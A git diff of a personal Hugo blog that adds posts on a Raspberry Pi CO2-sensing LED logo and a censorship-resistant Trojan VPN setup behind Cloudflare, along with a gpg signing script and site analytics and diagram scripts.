    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +]]>
    \ No newline at end of file diff --git a/public/tags/ws2812/page/1/index.html b/public/tags/ws2812/page/1/index.html new file mode 100644 index 0000000..e62fa11 --- /dev/null +++ b/public/tags/ws2812/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ws2812/ + \ No newline at end of file diff --git a/public/tags/xray/index.html b/public/tags/xray/index.html new file mode 100644 index 0000000..9b90b4f --- /dev/null +++ b/public/tags/xray/index.html @@ -0,0 +1,14 @@ +Xray | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/xray/index.xml b/public/tags/xray/index.xml new file mode 100644 index 0000000..ac93410 --- /dev/null +++ b/public/tags/xray/index.xml @@ -0,0 +1,377 @@ +Xray on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/xray/Recent content in Xray on AlipourIm journeysHugo -- 0.146.0enTue, 09 Sep 2025 11:05:00 +0200Stealth Trojan VPN Behind Cloudflare Guidehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    + + + +
    + + + +C +l +i +e +n +t + +C +l +o +u +d +f +l +a +r +e +( +4 +4 +3 +) + +N +g +i +n +x +( +4 +4 +3 +) + +T +r +o +j +a +n +( +l +o +c +a +l +h +o +s +t +: +5 +4 +3 +2 +1 +) + + + + +
    +
    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    + + + +
    + + + +t +r +o +j +a +n +: +/ +/ +< +P +A +S +S +W +O +R +D +> +@ +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +: +4 +4 +3 +? +t +y +p +e += +w +s +& +s +e +c +u +r +i +t +y += +t +l +s +& +h +o +s +t += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +& +p +a +t +h += +% +2 +F +s +t +e +a +l +t +h +- +p +a +t +h +_ +a +b +c +d +1 +2 +3 +4 +& +s +n +i += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +# +M +y +S +t +e +a +l +t +h +V +P +N + + + + +
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +]]>
    \ No newline at end of file diff --git a/public/tags/xray/page/1/index.html b/public/tags/xray/page/1/index.html new file mode 100644 index 0000000..a191d72 --- /dev/null +++ b/public/tags/xray/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/xray/ + \ No newline at end of file diff --git a/scripts/sign_posts.sh b/scripts/sign_posts.sh new file mode 100755 index 0000000..df518a4 --- /dev/null +++ b/scripts/sign_posts.sh @@ -0,0 +1,113 @@ +#!/usr/bin/env bash +# sign_posts.sh — Sign Hugo posts and insert a signature shortcode. +# Usage: +# ./scripts/sign_posts.sh -k "you@example.com" +# Options: +# -k, --key KeyID or email for gpg --local-user (optional; default = gpg default key) +# -c, --content Content dir (default: content) +# -i, --include Comma-separated subdirs under content to process (default: posts,PhD_journey) +# -n, --dry-run Show actions without changing files + +set -euo pipefail + +KEYID="55A2A5DE84792BACC6CAEE3FB5882850E04C8D2A" +CONTENT_DIR="content" +INCLUDE_DIRS=("posts" "PhD_journey" "about") +DRYRUN=0 + +usage() { + sed -n '2,30p' "$0" | sed 's/^# \{0,1\}//' +} + +while [[ $# -gt 0 ]]; do + case "$1" in + -k|--key) KEYID="${2:-}"; shift 2 ;; + -c|--content) CONTENT_DIR="${2:-}"; shift 2 ;; + -i|--include) IFS=',' read -r -a INCLUDE_DIRS <<< "${2:-}"; shift 2 ;; + -n|--dry-run) DRYRUN=1; shift ;; + -h|--help) usage; exit 0 ;; + *) echo "Unknown arg: $1"; usage; exit 1 ;; + esac +done + +command -v gpg >/dev/null 2>&1 || { echo "gpg not found in PATH"; exit 1; } + +# Ensure shortcode exists (don’t overwrite if user customized it) +SHORTCODE_PATH="layouts/shortcodes/sig.html" +if [[ ! -f "$SHORTCODE_PATH" ]]; then + echo "Creating $SHORTCODE_PATH" + [[ $DRYRUN -eq 1 ]] || mkdir -p "$(dirname "$SHORTCODE_PATH")" + [[ $DRYRUN -eq 1 ]] || cat > "$SHORTCODE_PATH" <<'EOF' +{{- /* Usage: {{< sig >}} or {{< sig "name.asc" >}}. Reads from .Page.File.Dir */ -}} +{{- $name := .Get 0 | default "signature.asc" -}} +{{- $dir := .Page.File.Dir -}} +{{- $sig := readFile (print $dir $name) | htmlEscape -}} +
    + OpenPGP signature (.asc) +
    {{$sig}}
    +
    +

    Verify: gpg --verify {{ $name }} {{ .Page.File.Path }}

    +EOF +fi + +add_shortcode_if_missing() { + local md="$1" + local asc_basename="$2" # just the filename, not path + if grep -q '{{< *sig' "$md"; then + return 0 + fi + echo " + inserting shortcode into: $md" + if [[ $DRYRUN -eq 0 ]]; then + { + printf "\n\n---\n\n{{< sig \"%s\" >}}\n" "$asc_basename" + } >> "$md" + fi +} + +sign_file() { + local md="$1" + local asc="$2" + + echo " + signing -> $asc" + if [[ $DRYRUN -eq 1 ]]; then + return 0 + fi + + if [[ -n "$KEYID" ]]; then + gpg --batch --yes --local-user "$KEYID" --detach-sign --armor -o "$asc" "$md" + else + gpg --batch --yes --detach-sign --armor -o "$asc" "$md" + fi +} + +TOTAL=0 +SIGNED=0 +INSERTED=0 + +for sub in "${INCLUDE_DIRS[@]}"; do + ROOT="$CONTENT_DIR/$sub" + [[ -d "$ROOT" ]] || { echo "Skipping missing dir: $ROOT"; continue; } + + while IFS= read -r -d '' md; do + TOTAL=$((TOTAL+1)) + dir="$(dirname "$md")" + base="$(basename "$md" .md)" + asc="$dir/$base.asc" + asc_base="$(basename "$asc")" + + echo "Processing: $md" + if ! grep -q '{{< *sig' "$md"; then + INSERTED=$((INSERTED+1)) + add_shortcode_if_missing "$md" "$asc_base" + else + echo " = shortcode already present" + fi + + sign_file "$md" "$asc" + SIGNED=$((SIGNED+1)) + done < <(find "$ROOT" -type f -name '*.md' -print0) +done + +echo "Done. Files seen: $TOTAL, signatures written: $SIGNED, shortcodes inserted: $INSERTED." +[[ $DRYRUN -eq 1 ]] && echo "(dry run; no files changed)" + diff --git a/static/android-chrome-192x192.png b/static/android-chrome-192x192.png new file mode 100644 index 0000000..e9bedbe Binary files /dev/null and b/static/android-chrome-192x192.png differ diff --git a/static/android-chrome-512x512.png b/static/android-chrome-512x512.png new file mode 100644 index 0000000..3254376 Binary files /dev/null and b/static/android-chrome-512x512.png differ diff --git a/static/apple-touch-icon.png b/static/apple-touch-icon.png new file mode 100644 index 0000000..1b9d4cc Binary files /dev/null and b/static/apple-touch-icon.png differ diff --git a/static/favicon-16x16.png b/static/favicon-16x16.png new file mode 100644 index 0000000..c1da4fd Binary files /dev/null and b/static/favicon-16x16.png differ diff --git a/static/favicon-32x32.png b/static/favicon-32x32.png new file mode 100644 index 0000000..9fee996 Binary files /dev/null and b/static/favicon-32x32.png differ diff --git a/static/favicon.ico b/static/favicon.ico new file mode 100644 index 0000000..a5c24e3 Binary files /dev/null and b/static/favicon.ico differ diff --git a/static/images/hedgedoc-cover.png b/static/images/hedgedoc-cover.png new file mode 100644 index 0000000..4ee35d2 Binary files /dev/null and b/static/images/hedgedoc-cover.png differ diff --git a/static/images/inet/inet_animation_collage.jpg b/static/images/inet/inet_animation_collage.jpg new file mode 100644 index 0000000..f5bc7c5 Binary files /dev/null and b/static/images/inet/inet_animation_collage.jpg differ diff --git a/static/images/inet/inet_hardware_collage.jpg b/static/images/inet/inet_hardware_collage.jpg new file mode 100644 index 0000000..5235a50 Binary files /dev/null and b/static/images/inet/inet_hardware_collage.jpg differ diff --git a/static/images/inet/inet_logo_fusion_merged.png b/static/images/inet/inet_logo_fusion_merged.png new file mode 100644 index 0000000..a1ffbd4 Binary files /dev/null and b/static/images/inet/inet_logo_fusion_merged.png differ diff --git a/static/images/inet/inet_ui_collage.jpg b/static/images/inet/inet_ui_collage.jpg new file mode 100644 index 0000000..7814ddf Binary files /dev/null and b/static/images/inet/inet_ui_collage.jpg differ diff --git a/static/images/matrix-cover.png b/static/images/matrix-cover.png new file mode 100644 index 0000000..88f4702 Binary files /dev/null and b/static/images/matrix-cover.png differ diff --git a/static/js/count.js b/static/js/count.js new file mode 100644 index 0000000..5bc80ab --- /dev/null +++ b/static/js/count.js @@ -0,0 +1,267 @@ +// GoatCounter: https://www.goatcounter.com +// This file is released under the ISC license: https://opensource.org/licenses/ISC +;(function() { + 'use strict'; + + window.goatcounter = window.goatcounter || {} + + // Load settings from data-goatcounter-settings. + var s = document.querySelector('script[data-goatcounter]') + if (s && s.dataset.goatcounterSettings) { + try { var set = JSON.parse(s.dataset.goatcounterSettings) } + catch (err) { console.error('invalid JSON in data-goatcounter-settings: ' + err) } + for (var k in set) + if (['no_onload', 'no_events', 'allow_local', 'allow_frame', 'path', 'title', 'referrer', 'event'].indexOf(k) > -1) + window.goatcounter[k] = set[k] + } + + var enc = encodeURIComponent + + // Get all data we're going to send off to the counter endpoint. + window.goatcounter.get_data = function(vars) { + vars = vars || {} + var data = { + p: (vars.path === undefined ? goatcounter.path : vars.path), + r: (vars.referrer === undefined ? goatcounter.referrer : vars.referrer), + t: (vars.title === undefined ? goatcounter.title : vars.title), + e: !!(vars.event || goatcounter.event), + s: [window.screen.width, window.screen.height, (window.devicePixelRatio || 1)], + b: is_bot(), + q: location.search, + } + + var rcb, pcb, tcb // Save callbacks to apply later. + if (typeof(data.r) === 'function') rcb = data.r + if (typeof(data.t) === 'function') tcb = data.t + if (typeof(data.p) === 'function') pcb = data.p + + if (is_empty(data.r)) data.r = document.referrer + if (is_empty(data.t)) data.t = document.title + if (is_empty(data.p)) data.p = get_path() + + if (rcb) data.r = rcb(data.r) + if (tcb) data.t = tcb(data.t) + if (pcb) data.p = pcb(data.p) + return data + } + + // Check if a value is "empty" for the purpose of get_data(). + var is_empty = function(v) { return v === null || v === undefined || typeof(v) === 'function' } + + // See if this looks like a bot; there is some additional filtering on the + // backend, but these properties can't be fetched from there. + var is_bot = function() { + // Headless browsers are probably a bot. + var w = window, d = document + if (w.callPhantom || w._phantom || w.phantom) + return 150 + if (w.__nightmare) + return 151 + if (d.__selenium_unwrapped || d.__webdriver_evaluate || d.__driver_evaluate) + return 152 + if (navigator.webdriver) + return 153 + return 0 + } + + // Object to urlencoded string, starting with a ?. + var urlencode = function(obj) { + var p = [] + for (var k in obj) + if (obj[k] !== '' && obj[k] !== null && obj[k] !== undefined && obj[k] !== false) + p.push(enc(k) + '=' + enc(obj[k])) + return '?' + p.join('&') + } + + // Show a warning in the console. + var warn = function(msg) { + if (console && 'warn' in console) + console.warn('goatcounter: ' + msg) + } + + // Get the endpoint to send requests to. + var get_endpoint = function() { + var s = document.querySelector('script[data-goatcounter]') + return (s && s.dataset.goatcounter) ? s.dataset.goatcounter : goatcounter.endpoint + } + + // Get current path. + var get_path = function() { + var loc = location, + c = document.querySelector('link[rel="canonical"][href]') + if (c) { // May be relative or point to different domain. + var a = document.createElement('a') + a.href = c.href + if (a.hostname.replace(/^www\./, '') === location.hostname.replace(/^www\./, '')) + loc = a + } + return (loc.pathname + loc.search) || '/' + } + + // Run function after DOM is loaded. + var on_load = function(f) { + if (document.body === null) + document.addEventListener('DOMContentLoaded', function() { f() }, false) + else + f() + } + + // Filter some requests that we (probably) don't want to count. + window.goatcounter.filter = function() { + if ('visibilityState' in document && document.visibilityState === 'prerender') + return 'visibilityState' + if (!goatcounter.allow_frame && location !== parent.location) + return 'frame' + if (!goatcounter.allow_local && location.hostname.match(/(localhost$|^127\.|^10\.|^172\.(1[6-9]|2[0-9]|3[0-1])\.|^192\.168\.|^0\.0\.0\.0$)/)) + return 'localhost' + if (!goatcounter.allow_local && location.protocol === 'file:') + return 'localfile' + if (localStorage && localStorage.getItem('skipgc') === 't') + return 'disabled with #toggle-goatcounter' + return false + } + + // Get URL to send to GoatCounter. + window.goatcounter.url = function(vars) { + var data = window.goatcounter.get_data(vars || {}) + if (data.p === null) // null from user callback. + return + data.rnd = Math.random().toString(36).substr(2, 5) // Browsers don't always listen to Cache-Control. + + var endpoint = get_endpoint() + if (!endpoint) + return warn('no endpoint found') + + return endpoint + urlencode(data) + } + + // Count a hit. + window.goatcounter.count = function(vars) { + var f = goatcounter.filter() + if (f) + return warn('not counting because of: ' + f) + var url = goatcounter.url(vars) + if (!url) + return warn('not counting because path callback returned null') + + if (!navigator.sendBeacon(url)) { + // This mostly fails due to being blocked by CSP; try again with an + // image-based fallback. + var img = document.createElement('img') + img.src = url + img.style.position = 'absolute' // Affect layout less. + img.style.bottom = '0px' + img.style.width = '1px' + img.style.height = '1px' + img.loading = 'eager' + img.setAttribute('alt', '') + img.setAttribute('aria-hidden', 'true') + + var rm = function() { if (img && img.parentNode) img.parentNode.removeChild(img) } + img.addEventListener('load', rm, false) + document.body.appendChild(img) + } + } + + // Get a query parameter. + window.goatcounter.get_query = function(name) { + var s = location.search.substr(1).split('&') + for (var i = 0; i < s.length; i++) + if (s[i].toLowerCase().indexOf(name.toLowerCase() + '=') === 0) + return s[i].substr(name.length + 1) + } + + // Track click events. + window.goatcounter.bind_events = function() { + if (!document.querySelectorAll) // Just in case someone uses an ancient browser. + return + + var send = function(elem) { + return function() { + goatcounter.count({ + event: true, + path: (elem.dataset.goatcounterClick || elem.name || elem.id || ''), + title: (elem.dataset.goatcounterTitle || elem.title || (elem.innerHTML || '').substr(0, 200) || ''), + referrer: (elem.dataset.goatcounterReferrer || elem.dataset.goatcounterReferral || ''), + }) + } + } + + Array.prototype.slice.call(document.querySelectorAll("*[data-goatcounter-click]")).forEach(function(elem) { + if (elem.dataset.goatcounterBound) + return + var f = send(elem) + elem.addEventListener('click', f, false) + elem.addEventListener('auxclick', f, false) // Middle click. + elem.dataset.goatcounterBound = 'true' + }) + } + + // Add a "visitor counter" frame or image. + window.goatcounter.visit_count = function(opt) { + on_load(function() { + opt = opt || {} + opt.type = opt.type || 'html' + opt.append = opt.append || 'body' + opt.path = opt.path || get_path() + opt.attr = opt.attr || {width: '200', height: (opt.no_branding ? '60' : '80')} + + opt.attr['src'] = get_endpoint() + 'er/' + enc(opt.path) + '.' + enc(opt.type) + '?' + if (opt.no_branding) opt.attr['src'] += '&no_branding=1' + if (opt.style) opt.attr['src'] += '&style=' + enc(opt.style) + if (opt.start) opt.attr['src'] += '&start=' + enc(opt.start) + if (opt.end) opt.attr['src'] += '&end=' + enc(opt.end) + + var tag = {png: 'img', svg: 'img', html: 'iframe'}[opt.type] + if (!tag) + return warn('visit_count: unknown type: ' + opt.type) + + if (opt.type === 'html') { + opt.attr['frameborder'] = '0' + opt.attr['scrolling'] = 'no' + } + + var d = document.createElement(tag) + for (var k in opt.attr) + d.setAttribute(k, opt.attr[k]) + + var p = document.querySelector(opt.append) + if (!p) + return warn('visit_count: element to append to not found: ' + opt.append) + p.appendChild(d) + }) + } + + // Make it easy to skip your own views. + if (location.hash === '#toggle-goatcounter') { + if (localStorage.getItem('skipgc') === 't') { + localStorage.removeItem('skipgc', 't') + alert('GoatCounter tracking is now ENABLED in this browser.') + } + else { + localStorage.setItem('skipgc', 't') + alert('GoatCounter tracking is now DISABLED in this browser until ' + location + ' is loaded again.') + } + } + + if (!goatcounter.no_onload) + on_load(function() { + // 1. Page is visible, count request. + // 2. Page is not yet visible; wait until it switches to 'visible' and count. + // See #487 + if (!('visibilityState' in document) || document.visibilityState === 'visible') + goatcounter.count() + else { + var f = function(e) { + if (document.visibilityState !== 'visible') + return + document.removeEventListener('visibilitychange', f) + goatcounter.count() + } + document.addEventListener('visibilitychange', f) + } + + if (!goatcounter.no_events) + goatcounter.bind_events() + }) +})(); diff --git a/static/js/init-mermaid-umd.js b/static/js/init-mermaid-umd.js new file mode 100644 index 0000000..6f66698 --- /dev/null +++ b/static/js/init-mermaid-umd.js @@ -0,0 +1,21 @@ +(function () { + function render() { + const nodes = document.querySelectorAll('.mermaid'); + console.log('[mermaid] nodes on page:', nodes.length); + + if (!window.mermaid) { + console.error('[mermaid] window.mermaid is missing'); + return; + } + window.mermaid.initialize({ startOnLoad: false }); + window.mermaid.run({ querySelector: '.mermaid' }); + console.log('[mermaid] run() called'); + } + + if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', render, { once: true }); + } else { + render(); + } +})(); + diff --git a/static/js/init-mermaid.js b/static/js/init-mermaid.js new file mode 100644 index 0000000..5ae4c1c --- /dev/null +++ b/static/js/init-mermaid.js @@ -0,0 +1,17 @@ + +// Uses global window.mermaid provided by mermaid.min.js +function renderMermaid() { + if (!window.mermaid) { + console.error('Mermaid not found on window'); + return; + } + window.mermaid.initialize({ startOnLoad: false }); + window.mermaid.run({ querySelector: '.mermaid' }); +} + +if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', renderMermaid, { once: true }); +} else { + renderMermaid(); +} + diff --git a/static/js/mermaid.esm.min.mjs b/static/js/mermaid.esm.min.mjs new file mode 100644 index 0000000..5a8024b --- /dev/null +++ b/static/js/mermaid.esm.min.mjs @@ -0,0 +1,14 @@ +import{a as ht}from"./chunks/mermaid.esm.min/chunk-4HFYJGYH.mjs";import{a as 